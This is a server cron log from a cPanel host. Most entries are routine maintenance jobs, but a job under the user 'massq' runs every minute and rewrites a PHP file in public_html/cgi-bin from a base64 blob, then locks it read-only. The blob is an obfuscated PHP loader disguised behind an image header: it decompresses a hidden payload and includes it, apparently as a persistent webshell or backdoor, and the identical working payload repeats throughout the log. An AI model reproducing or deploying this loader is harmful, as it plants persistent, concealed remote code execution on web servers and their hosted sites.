Sep  3 15:29:01 server CROND[17509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:29:01 server CROND[17511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:30:01 server CROND[17889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:30:01 server CROND[17890]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:30:01 server CROND[17894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:30:01 server CROND[17897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:30:01 server CROND[17895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:30:01 server CROND[17896]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:30:01 server CROND[17903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:30:01 server CROND[17899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:31:01 server CROND[18805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:31:01 server CROND[18806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:31:01 server CROND[18807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:32:01 server CROND[19168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:32:01 server CROND[19169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:32:01 server CROND[19170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:33:01 server CROND[19555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:33:01 server CROND[19556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:33:01 server CROND[19557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:34:01 server CROND[19935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:34:01 server CROND[19936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:34:01 server CROND[19938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:35:01 server CROND[20324]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:35:01 server CROND[20326]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 15:35:01 server CROND[20327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:35:01 server CROND[20330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:35:01 server CROND[20329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:35:01 server CROND[20333]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:35:01 server CROND[20328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:35:01 server CROND[20334]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 15:35:01 server CROND[20331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:36:01 server CROND[21260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:36:01 server CROND[21261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:36:01 server CROND[21262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:37:01 server CROND[21635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:37:01 server CROND[21636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:37:01 server CROND[21637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:38:01 server CROND[22013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:38:01 server CROND[22014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:38:01 server CROND[22015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:39:01 server CROND[22389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:39:01 server CROND[22388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:39:01 server CROND[22387]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 15:39:01 server CROND[22390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:40:01 server CROND[22821]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:40:01 server CROND[22823]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:40:01 server CROND[22829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:40:01 server CROND[22824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:40:01 server CROND[22838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:40:01 server CROND[22828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:40:01 server CROND[22841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
